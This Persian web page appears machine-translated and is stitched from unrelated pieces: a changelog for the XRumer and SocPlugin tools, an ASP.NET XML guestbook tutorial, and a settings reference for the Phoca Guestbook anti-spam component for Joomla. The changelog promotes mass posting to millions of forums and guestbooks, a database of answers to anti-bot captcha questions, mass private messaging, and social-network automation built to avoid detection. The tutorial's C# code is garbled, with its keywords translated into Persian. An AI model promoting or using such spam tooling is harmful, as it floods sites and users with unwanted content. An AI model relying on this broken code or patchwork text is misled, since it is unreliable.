    پایگاه داده های موجود بررسی و به روز شده اند، حجم کل به 8 (!) میلیون منبع پشتیبانی شده افزایش یافته است - وبلاگ ها، انجمن ها، کتاب های مهمان، تابلوها، BBS، CMS و سایر سیستم عامل ها. پایگاه داده متن‌کپچاهای شناخته شده با بیش از 2000 پاسخ جدید به سؤالات ضد ربات افزایش یافته است و اکنون به 324000 متن کپچا رسیده است. افزایش قابل توجه پایداری و سرعت کار، مصرف بهینه منابع: سقف به 500 نخ یا بیشتر می رسد (بسته به حالت کار). کار با HTTPS بهبود یافته است. و بهبود اصلی و کلیدی: کارایی ارسال پیام های خصوصی بسیار افزایش یافته است - حالت MassPM. به علاوه، بسیاری از بهبودها و اصلاحات دیگر :)

    14 سپتامبر 2018

    XRumer 16.0.17

    یک به روز رسانی مهم برای XRumer که به طور قابل توجهی مصرف منابع را بهینه می کند. بهبود ثبات و سرعت، افزایش سقف جریان. اکنون عبور از پایگاه داده های چند میلیونی راحت تر است! همچنین بهبود کار با HTTPS، جاوا اسکریپت، بهبود کار با پلتفرم جوملا K2 و موارد دیگر...

    05 جولای 2018

    جاوا اسکریپت باید فعال باشد تا سایت به درستی کار کند.

    نوآوری ها و پیشرفت ها در XRumer و SocPlugin 12 سپتامبر 2014

    نوآوری ها و پیشرفت ها در XRumer 12.0.7

    نوآوری ها و پیشرفت ها در SocPlugin 4.0.10

    • Autoresponder اکنون از Odnoklassniki پشتیبانی می کند
    • عملکرد نظر دادن به فیلم ها در VKontakte را به روز کرد
    • روش ذخیره پایگاه داده پرسشنامه ها تنظیم شده است
    • عامل کاربر به روز شده
    • امکان کپی تمام پیوندهای انتخاب شده به نمایه ها را در پنجره برای نمایش لیست پروفایل ها (و نه فقط یک) اضافه کرد.
    • اجرای تصادفی سازی هر تاخیر در 20 ± درصد
    • در پنجره لیست گروه، یک منوی کشویی برای مدیریت لیست اضافه شده است: حذف، کپی، باز کردن در مرورگر
    • اطلاع رسانی بهتر پیام ها در مورد مشکلات مربوط به مجوز
    • بارگذاری/ذخیره لیست کاربران از/به فایل XML اصلاح شد
    • کار برخی از گزینه ها را برای پر کردن خودکار حساب ها تصحیح کرد
    • به روز رسانی دریافت پارامترهای نمایه در فیس بوک

    اخیراً روی وب‌سایت خود کار می‌کردم و تصمیم گرفتم که یک کتاب مهمان را پیاده‌سازی کنم. من شروع به جستجو در وب کردم تا بهترین کتاب مهمان را برای وب‌سایت خود پیدا کنم، اما وقتی هیچ کدام پیدا نشد، فکر کردم «هی من یک توسعه‌دهنده هستم، چرا کتاب خودم را ایجاد نکنم؟»

    ایجاد یک کتاب مهمان بسیار آسان بود - شما هم می توانید این کار را انجام دهید. در این آموزش، من به شما نشان خواهم داد که چگونه. من فرض می‌کنم که شما قبلاً در مورد اصول برنامه‌نویسی ASP.NET اطلاعات دارید، تکنیک‌های مربوط به کد پشت را می‌دانید، و برخی از مهارت‌های XML/XSL را دارید.

    بررسی اجمالی

    برای ایجاد کتاب مهمان به چه چیزهایی نیاز داریم؟ دوتا نیاز داریم فرم وب s: یکی که در آن کاربر می تواند نام، آدرس ایمیل و نظر خود را وارد کند، و دیگری که برای نمایش این نظرات هنگام ورود به دفترچه مهمان استفاده می شود. البته ما می‌توانیم این قابلیت را در یک فرم وب ایجاد کنیم، اما برای داشتن یک کد تمیز، از دو فرم وب با چندین فایل کد پشتی استفاده می‌کنم (در یک لحظه در مورد جزئیات بیشتر بحث خواهم کرد).

    همچنین به یک پایگاه داده برای نگهداری اطلاعات وارد شده از طریق فرم نیاز داریم. من از یک فایل XML ساده (یک پایگاه داده) برای ذخیره اطلاعات وارد شده توسط کاربر استفاده کردم. برای تجسم XML از XSL استفاده خواهیم کرد.

    بنابراین به طور خلاصه به موارد زیر نیاز داریم:

    • دو فرم وب
    • کد پشت
    • پایگاه داده

    در دفترچه مهمان، معمولاً ذخیره نام، مکان، آدرس ایمیل، آدرس وب سایت و نظر کاربر کافی است. البته، شما می توانید فیلدهای بیشتری را ذخیره کنید، اما برای اهداف ما، اینها کافی است. ما این داده ها را در فایل XML ذخیره می کنیم که چیزی شبیه به این خواهد بود:




    سونو کاپور
    آلمان
    [ایمیل محافظت شده]
    www.codefinger.de
    این کتاب مهمان توسط سونو کاپور نوشته شده است.
    امیدوارم ازش خوشتان بیاید. برای یادگیری نحوه ایجاد چنین کتاب مهمان،
    کل داستان را در وب سایت من بخوانید.


    امضای دفترچه مهمان

    ما به کاربر اجازه می دهیم با وارد کردن برخی اطلاعات در یک فرم وب ساده، دفترچه مهمان ما را امضا کند - در مثال ما این فایل guestbook.aspx است. من از فیلدهای زیر در فرم وب استفاده می کنم:

    • محل
    • پست الکترونیک
    • سایت اینترنتی
    • اظهار نظر

    این هم کد:

    <% @Page Language="C#" Debug="true" Src="Guestbook.cs"
    Inherits="کتاب مهمان" %>


    ...
    ...

    ControlToValidate="name"
    ErrorMessage="باید مقداری را در textbox1 وارد کنید"
    Display="dynamic">نام را وارد کنید

    ControlToValidate="location" ErrorMessage="باید وارد شوید
    یک مقدار در textbox1" Display="dynamic">
    مکان را وارد کنید



    columns="50" rows="10" wrap="true" runat="server"/>

    ControlToValidate="comment" ErrorMessage="باید وارد شوید
    یک مقدار در textbox1" Display="dynamic">
    نظر را وارد کنید

    OnClick="Save_Comment"/>

    ...
    ... انجام برخی کارهای تجسم
    ...

    برای جلوگیری از گیج شدن شما با کدهای غیر ضروری، تگ های تجسم را حذف کرده ام - از جمله جدول، هدر جدول و غیره. - از این مثال (البته، همه اینها در کد قابل دانلودی که در انتهای این آموزش ارائه شده است) گنجانده شده است. از آنجایی که ما فقط یک فرم ساده را با چند فیلد و دکمه نمایش می دهیم، هیچ کد برنامه نویسی واقعی را نمی توانید در این فایل ببینید. این به این دلیل است که تمام عملکردها در کد پشت پنهان است.

    در خط اول کد بالا، ویژگی SRC را تنظیم کردم تا به فایل ASP.NET اطلاع دهد که از فایل codebehind Guestbook.cs استفاده می کنیم، همچنین ویژگی Inherits را با نام کلاس مربوطه تنظیم کرده ام. این ویژگی به فایل اجازه می دهد تا بداند کدام کلاس را به ارث می برد.

    بعد، من فیلدهای متنی مورد نیاز را پیاده سازی کرده ام. به یاد داشته باشید که اگر می خواهید از متغیرهای مشابهی در کد پشتی استفاده کنید، باید در هر دو فایل شناسه یکسانی داشته باشند و باید به عنوان عمومی اعلام شوند.

    در بخش بعدی کد، از کنترل های اعتبارسنجی ASP.NET استفاده کردم. این کنترل‌ها بررسی می‌کنند که آیا کاربر مقداری را در فیلد متنی وارد کرده است، بدون اینکه رفت و برگشت به سرور انجام دهد. کد در سمت کلاینت اجرا می شود.

    در نهایت، من یک دکمه ارسال را با یک رویداد OnClick به نام Save_Comment پیاده‌سازی کردم. این رویداد برای ذخیره اطلاعات وارد شده به فایل XML توسط کاربر استفاده می شود. عملکرد این رویداد در Guestbook.cs موجود است. من همچنین یک دکمه تنظیم مجدد را اجرا کردم - و تمام! هیچ چیز دیگری نباید با فرم وب انجام شود. اکنون، اگر guestbook.aspx را اجرا می کنید، باید یک فرم وب را مشاهده کنید که به شکل زیر است:

    اکنون می دانیم که چگونه فرم وب را نمایش دهیم، اما کدی را که رویداد را مدیریت می کند در guestbooks.cs ندیده ایم. حالا بیایید نگاهی به آن بیندازیم.

    استفاده از سیستم؛
    با استفاده از System.Web؛
    با استفاده از System.Web.UI؛
    با استفاده از System.Xml؛

    کتاب مهمان کلاس عمومی: صفحه
    {
    // کنترل های وب مورد نیاز را با همان نام ایجاد کنید
    در فایل guestbook.aspx
    نام TextBox عمومی؛
    مکان TextBox عمومی؛
    ایمیل TextBox عمومی؛
    وب سایت عمومی TextBox;
    نظر عمومی TextBox;

    فضای خالی عمومی Save_Comment (فرستنده شی، EventArgs e)
    {
    // همه چیز درست است، پس اجازه دهید داده ها را ذخیره کنیم
    در فایل XML
    SaveXMLData();

    // مقادیر کادرهای متنی را حذف کنید
    name.Text="";
    location.Text="";
    website.Text="";
    email.Text="";
    comment.Text="";
    }
    }

    Private void SaveXMLData()
    {
    // فایل xml را بارگیری کنید
    XmlDocument xmldoc = new XmlDocument();
    xmldoc.Load(Server.MapPath("guestbook.xml"));

    //یک عنصر مهمان جدید ایجاد کنید و آن را به گره ریشه اضافه کنید
    XmlElement parentNode = xmldoc.CreateElement("مهمان");
    xmldoc.DocumentElement.PrependChild(parentNode);

    // گره های مورد نیاز را ایجاد کنید
    XmlElement nameNode = xmldoc.CreateElement("name");
    XmlElement locationNode = xmldoc.CreateElement("location");
    XmlElement emailNode = xmldoc.CreateElement("email");
    XmlElement websiteNode = xmldoc.CreateElement("website");
    XmlElement commentNode = xmldoc.CreateElement("Comment");

    // متن را بازیابی کنید
    XmlText nameText = xmldoc.CreateTextNode(name.Text);
    XmlText locationText = xmldoc.CreateTextNode(location.Text);
    XmlText emailText = xmldoc.CreateTextNode(email.Text);
    XmlText websiteText = xmldoc.CreateTextNode(website.Text);
    XmlText commentText = xmldoc.CreateTextNode(comment.Text);

    // گره ها را بدون مقدار به parentNode اضافه کنید
    parentNode.AppendChild(nameNode);
    parentNode.AppendChild(locationNode);
    parentNode.AppendChild(emailNode);
    parentNode.AppendChild(websiteNode);
    parentNode.AppendChild(commentNode);

    // مقدار فیلدها را در گره ها ذخیره کنید
    nameNode.AppendChild(nameText);
    locationNode.AppendChild(locationText);
    emailNode.AppendChild(emailText);
    websiteNode.AppendChild(websiteText);
    commentNode.AppendChild(commentText);

    // در فایل XML ذخیره کنید
    xmldoc.Save(Server.MapPath("guestbook.xml"));

    // دفترچه مهمان امضا شده را به کاربر نمایش دهید
    Response.Redirect("viewguestbook.aspx");
    }
    }

    وای! این فایل کد پشت ماست... اما واقعاً اینجا چه اتفاقی می‌افتد؟ باور نمی کنید، اما پاسخ این است: "نه خیلی"!

    ابتدا، حداقل فضاهای نام مورد نیاز را که برای دسترسی به چندین تابع مهم نیاز داریم، پیاده سازی می کنیم. سپس یک کلاس جدید به نام Guestbook ایجاد می کنم:

    دفترچه مهمان کلاس عمومی: صفحه

    توجه داشته باشید که این کلاس است که توسط فایل guestbook.aspx به ارث می رسد. سپس 5 متغیر عمومی از نوع textbox را اعلام می کنیم. به یاد داشته باشید که در اینجا، نام‌ها باید با نام‌هایی که هنگام ایجاد کادرهای متن در guestbook.aspx استفاده می‌کردیم، یکسان باشند. سپس، همانطور که می بینید، از رویداد Save_Comment استفاده می کنیم که توسط دکمه ارسال که در فایل guestbookpx قرار داده ایم، فعال می شود. این رویداد برای ذخیره داده ها استفاده می شود.

    فرآیند ذخیره سازی

    تابع SaveXMLData() اطلاعات را برای ما ذخیره می کند. از آنجایی که ما از یک پایگاه داده XML برای ذخیره اطلاعات استفاده می کنیم، از کلاس های XmlDocument، XmlElement و XmlText استفاده می کنیم که تمام توابع مورد نیاز ما را ارائه می دهند.

    سپس، یک شیء کلاس XMLDocument جدید ایجاد می کنیم و فایل guestbook.xml را بارگذاری می کنیم. گره های مورد نیاز با تابع CreateElement ایجاد می شوند و اطلاعات وارد شده توسط کاربر بازیابی و در یک شی از XmlText ذخیره می شود. سپس، با استفاده از تابع AppendChild در ارتباط با شی اصلی XmlDocument، گره های ایجاد شده را بدون هیچ مقداری ذخیره می کنیم.

    و در نهایت، مقادیر در گره‌هایی که به تازگی ایجاد کرده‌ایم ذخیره می‌شوند، همه تغییرات را در فایل guestbook.xml ذخیره می‌کنیم و صفحه را به viewguestbook.aspx هدایت می‌کنیم، جایی که نظر ذخیره شده نمایش داده می‌شود.

    مشاهده کتاب مهمان

    برای مشاهده کتاب مهمان، باید یک فرم وب دیگری ایجاد کنیم:

    <% @Page Language="C#" Debug="true" Src="ViewGuestbook.cs"
    Inherits="ViewGuestbook" %>

    همانطور که می بینید، این فرم وب واقعاً کار زیادی نمی کند. به سادگی فایل codebehind، ViewGuestbook.cs را فراخوانی می کند. بیایید نگاهی به این فایل بیندازیم.

    استفاده از سیستم؛
    با استفاده از System.Web؛
    با استفاده از System.Web.UI؛
    با استفاده از System.Web.UI.WebControls.
    با استفاده از System.Xml؛
    با استفاده از System.Xml.Xsl؛
    با استفاده از System.IO؛

    کلاس عمومی View Guestbook: صفحه
    {
    خلا خصوصی Page_Load (فرستنده شی، System.EventArgs e)
    {
    //فایل XML را بارگیری کنید
    XmlDocument doc = new XmlDocument();
    doc.Load(Server.MapPath("guestbook.xml"));

    //فایل XSL را بارگیری کنید
    XslTransform xslt = new XslTransform();
    xslt.Load(Server.MapPath("guestbook.xsl"));

    رشته xmlQuery="//کتاب مهمان";
    XmlNodeList nodeList=doc.Document
    Element.SelectNodes(xmlQuery);

    MemoryStream ms=new MemoryStream();
    xslt.Transform(doc، null، ms);
    ms.Seek(0, SeekOrigin.Begin);

    StreamReader sr = StreamReader جدید (ms);

    //نتیجه را چاپ کنید
    Response.Write(sr.ReadToEnd());
    }
    }

    من این کلاس را ایجاد کرده ام تا تمام نظرات ارسال شده از طریق دفترچه مهمان را برای کاربران خود نمایش دهد. باز هم، اولین کاری که انجام می‌دهیم این است که فضاهای نام مورد نیاز را پیاده‌سازی می‌کنیم، و از آنجایی که از XSL برای تجسم استفاده می‌کنیم، باید مطمئن شویم که فضای نام System.Xml.Xsl را نیز لحاظ کنیم.

    سپس یک کلاس جدید به نام ViewGuestbook با یک تابع داخلی خصوصی به نام Page_Load ایجاد می کنیم. این تابع همیشه هنگام بارگیری صفحه یا زمانی که کاربر به‌روزرسانی انجام می‌دهد، فراخوانی می‌شود. در اینجا، تابع فایل guestbook.xml را بارگذاری می‌کند، و سپس از کلاس XslTranform برای تبدیل عناصر XML به HTML استفاده می‌شود، قبل از اینکه guestbook.xsl را با کمک یک شی XslTransform بارگذاری کنیم.

    در مرحله بعد، یک شی جدید از کلاس XmlNodeList ایجاد می کنیم که به ما امکان می دهد گره های مورد نیاز را انتخاب کنیم. سپس از کلاس MemoryStream که از طریق فضای نام System.IO در دسترس است استفاده می کنیم تا جریانی ایجاد کنیم که دارای حافظه به عنوان ذخیره پشتیبان است و از تابع Transform برای اختصاص داده های xml به این جریان حافظه استفاده می کنیم. تابع Seek موقعیت فعلی را صفر می کند.

    سپس یک شی از کلاس StreamReader ایجاد می کنیم که جریان را می خواند و نتیجه را با کمک تابع ReadToEnd() چاپ می کنیم. این تابع جریان را از موقعیت فعلی تا انتها می خواند. اگر viewguestbook.aspx را اجرا می کنید، باید یک فرم وب مانند این را ببینید:

    XSL

    همانطور که قبلاً اشاره کردم، ما از XSL برای تبدیل داده ها از XML به HTML استفاده می کنیم. من فرض کرده‌ام که شما قبلاً با XSLT تجربه کرده‌اید، بنابراین در اینجا فقط به جنبه‌های مهم آن اشاره می‌کنم. من از یک XSL برای هر حلقه برای تکرار در میان همه مهمانان کتاب استفاده کرده ام که چیزی شبیه به این است:



    و در حلقه ما نام قالب XSL را صدا می زنیم که چیزی شبیه به این است:



    نتیجه

    همانطور که می بینید، ایجاد یک کتاب مهمان کار چندان دشواری نیست. موفق باشید! و فراموش نکنید.

    سلام خوانندگان سایت اینترنتی)

    در این مقاله، ما به Phoca Guestbook - یک جزء دفتر مهمان برای سایت های جوملا.

    در مورد این کامپوننت چی بگم... بسیار ساده و آسان برای مدیریت، تعداد تنظیمات کافی برای ارسال نظرات در سایت شما دارد.

    ویژگی های کتاب مهمان فوکا:

    • انتخاب حقوق دسترسی برای کاربران؛
    • فیلتر کردن کلمات و عبارات ناخواسته؛
    • مسدود کردن آدرس های IP؛
    • محدود کردن تعداد کاراکترهای چاپ شده؛
    • کپچا
    • مدرن سازی پیام ها (بررسی توسط ناظر)؛
    • نمایش نظرات (رنگ، ​​نام نمایشی، ایمیل نمایشی و آدرس سایت).

    پس بیایید به مولفه نگاه کنیم.

    پس از نصب، کتاب مهمان فوکابه تنظیمات جهانی نیاز ندارد.

    صفحه کنترل:

    • پست ها - همه پیام های باقی مانده توسط کاربران.
    • کتاب مهمان - دسته بندی (کتاب مهمان ایجاد شده)؛
    • اطلاعات - اطلاعات و به روز رسانی کامپوننت.

    همانطور که می بینید، در شکل سمت راست دکمه "تنظیمات" وجود دارد. اگر روی آن کلیک کنید، می توانید کتاب مهمان و خود مؤلفه را به طور گسترده تری پیکربندی کنید.

    پارامتر

    معنی

    نمایش موضوع در فرم

    (بله | بله (الزامی) | خیر) نشان دادن یا پنهان کردن فیلد Object در فرم، تنظیم کنید اگر فیلد موضوع مورد نیاز باشد

    نمایش نام در فرم

    (بله | بله (الزامی) | خیر) نمایش یا پنهان کردن نام فیلد در فرم، تنظیم کنید که آیا فیلد نام مورد نیاز است

    نمایش ایمیل در فرم

    (بله | بله (الزامی) | خیر) نشان دادن یا پنهان کردن فیلد ایمیل در فرم، تنظیم فیلد ایمیل در صورت لزوم

    نمایش وب سایت به صورت

    (بله | بله (الزامی) | خیر) نشان دادن یا پنهان کردن فیلد سایت در فرم، تنظیم فیلد در صورت نیاز به سایت

    نمایش محتوا در فرم

    (بله | بله (الزامی) | خیر) محتویات فیلد را در فرم نشان داده یا پنهان کنید

    ویرایشگر جاوا اسکریپت را فعال کنید

    (بله | خیر) ویرایشگر جاوا اسکریپت را فعال یا غیرفعال کنید

    نمایش مسیر در ویرایشگر جاوا اسکریپت

    (بله | خیر) اطلاعات مسیر را در ویرایشگر جاوا اسکریپت نشان داده یا پنهان کنید

    (پنهان کردن | نمایش) تنظیم کنید که آیا فرم باید نمایش داده شود یا خیر.

    (بالا | پایین) مکان فعلی را انتخاب کنید

    نمایش علامت مورد نیاز

    (بله | خیر) تنظیم کنید تا فیلدهای مورد نیاز نمایش داده شود

    (بله | خیر) برای نمایش پیام ها تنظیم کنید.

    عرض (بر حسب پیکسل)

    ارتفاع (بر حسب پیکسل)

    عرض جدول را تنظیم کنید (جدولی که فرم در آن نمایش داده می شود، به پیکسل)

    پارامتر

    معنی

    اگر یک کاربر ثبت نام نشده پیامی به جا می گذارد، می توانید یک نام پیش فرض به او بدهید. به عنوان مثال: مهمان

    نام کاربری یا نام

    (نام کاربری | نام) نامی را که باید در دفترچه مهمان نمایش داده شود انتخاب کنید (نام کاربری یا نام کاربری واقعی)

    بررسی کاربر را غیرفعال کنید

    (نه | بله) تأیید کاربر (غیرفعال کردن این تنظیمات توصیه نمی شود)

    فقط کاربران ثبت نام شده

    (بله | خیر) اگر بله، فقط کاربران ثبت نام شده می توانند پیام های جدید اضافه کنند

    (بله | خیر) اگر بله، پس از تایید ادمین پیام نمایش داده می شود

    برای ارسال یک نامه

    پارامتر

    معنی

    نمایش نام در پست

    (بله | خیر) نمایش یا پنهان کردن نام (نام کاربری) (کتاب مهمان)

    نمایش ایمیل در پست

    (بله | خیر) نمایش یا پنهان کردن ایمیل (کتاب مهمان)

    نمایش وب سایت در پست

    (بله | خیر) نمایش یا پنهان کردن سایت در (کتاب مهمان)

    تنظیم قالب تاریخ

    تنظیم رنگ فونت

    رنگ فونت دوم

    تنظیم رنگ فونت دوم (رنگ فونت تاریخ)

    رنگ پس زمینه

    تنظیم رنگ پس زمینه

    تنظیم رنگ حاشیه

    مقدار پیش فرض صفحه بندی

    مقدار پیش فرض را برای صفحه بندی تنظیم کنید

    تنظیم صفحه بندی با کاما (،) از یکدیگر جدا می شوند.

    صفحه بندی پنهان کردن همه

    (بله | خیر) همه مقادیر پنهان خواهند شد (صفحه بندی)

    پارامتر

    معنی

    فیلتر کلمه ممنوعه

    کلمات ممنوعه را تنظیم کنید که در رابط نمایش داده نمی شوند. کلمات با کاما از یکدیگر جدا می شوند (,)

    فیلتر کل کلمه ممنوعه

    همه کلمات ممنوعه را که در رابط نمایش داده نمی شوند را تنظیم کنید. کلمات با کاما از یکدیگر جدا می شوند (,)

    پست را با کلمات ممنوع ذخیره کنید

    (بله | خیر) اگر بله، پست هایی که حاوی کلمات ممنوعه هستند در دفترچه مهمان ذخیره می شوند (کلمات ممنوعه در صورت ذخیره پنهان می شوند)

    IP هایی را که می خواهید مسدود کنید اضافه کنید. هر IP را با کاما (,) جدا کنید

    حداکثر کاراکترها

    حداکثر تعداد کاراکترهایی که می توانند در پایگاه داده ذخیره شوند را تنظیم کنید

    حداکثر تعداد URL هایی که می تواند در یک پست نمایش داده شود را تنظیم کنید (0: خیر، پیوندها در پست ها نمایش داده می شوند، -1: همه URL ها در پست ها نمایش داده می شوند، به عنوان مثال 3: تنها سه پیوند از همه URL ها در پست ها نمایش داده می شوند. نوشته ها)

    کلمات شناسایی URL مجاز نیستند

    مجموعه ای از کلمات که تعیین می کند آیا URL ها در پیام مجاز هستند یا خیر. هر کلمه را با کاما (،) جدا کنید. مثال:: / /،. htm. asp. JSP. پی اچ پی، www.,. com org

    محافظت از کپچا را فعال یا غیرفعال کنید

    این تنظیمات را فقط در صورتی تغییر دهید که کپچا را نبینید.

    Captcha-Users را فعال کنید

    (همه | ثبت نام نشده) گزینه نمایش کپچا برای گروه های کاربری (آیا برای نمایش کپچا به کاربران ثبت نام شده)

    کاراکترهای استاندارد کپچا

    اعداد، حروف کوچک، کاراکترهای بزرگ که در تصویر استاندارد کپچا نمایش داده می شوند

    شخصیت های کپچای ریاضی

    اعداد، حروف کوچک، کاراکترهای بزرگ برای نمایش در تصویر کپچای ریاضی

    نمادهای TTF

    اعداد، حروف کوچک، کاراکترهای بزرگ برای نمایش در تصویر کپچای TTF

    شخصیت های TTF Captcha

    برای نمایش کپچا مجدد، کد عمومی را وارد کنید

    کلید عمومی reCAPTCHA

    کلید عمومی Recaptcha را نصب کنید

    محافظت از هرزنامه Akismet را فعال کنید

    (خیر | بله) تمام داده های ورودی جدید دفترچه راهنمای کاربر را به Akismet ارسال می کند - یک سرویس وب برای بررسی هرزنامه

    مسدود کردن هرزنامه (Akismet)

    (نه | بله) پست هایی را که توسط Akismet تأیید نشده اند مسدود کنید

    کلید Akismet API را برای استفاده با Akismet-Spam نصب کنید. به صورت رایگان از https://akismet.com/signup/ دریافت کنید

    URL اصلی سایت شما. (URL باید دارای پیشوند http:// باشد)

    HTML Purifier را فعال کنید

    (نه | بله) HTML Purifier را فعال یا غیرفعال کنید

    تنظیم پسوند جلسه (این یک ویژگی امنیتی است، برای تغییر نام جلسه، یک پسوند منحصر به فرد تنظیم کنید، به عنوان مثال: a100b20c3)

    فیلد پنهان را فعال کنید

    (نه | بله) فیلدهای پنهان را روشن یا خاموش کنید. برخی از ربات‌های هرزنامه سعی می‌کنند تمام فیلدها را در محل پر کنند، اگر این فیلد مخفی را که فرد نمی‌تواند ببیند را پر کنند، ورودی به کتاب مهمان اضافه نمی‌شود.

    (بله | خیر) کش را فعال کنید.

    شناسایی صفحه ورودی را فعال کنید

    (بله | خیر) شناسایی صفحه ورودی را فعال یا غیرفعال کنید. این یک ویژگی امنیتی است. اگر آن را فعال کنید، صفحه ای که از آن پست به دفترچه مهمان آمده است ذخیره می شود و در رابط نمایش داده می شود.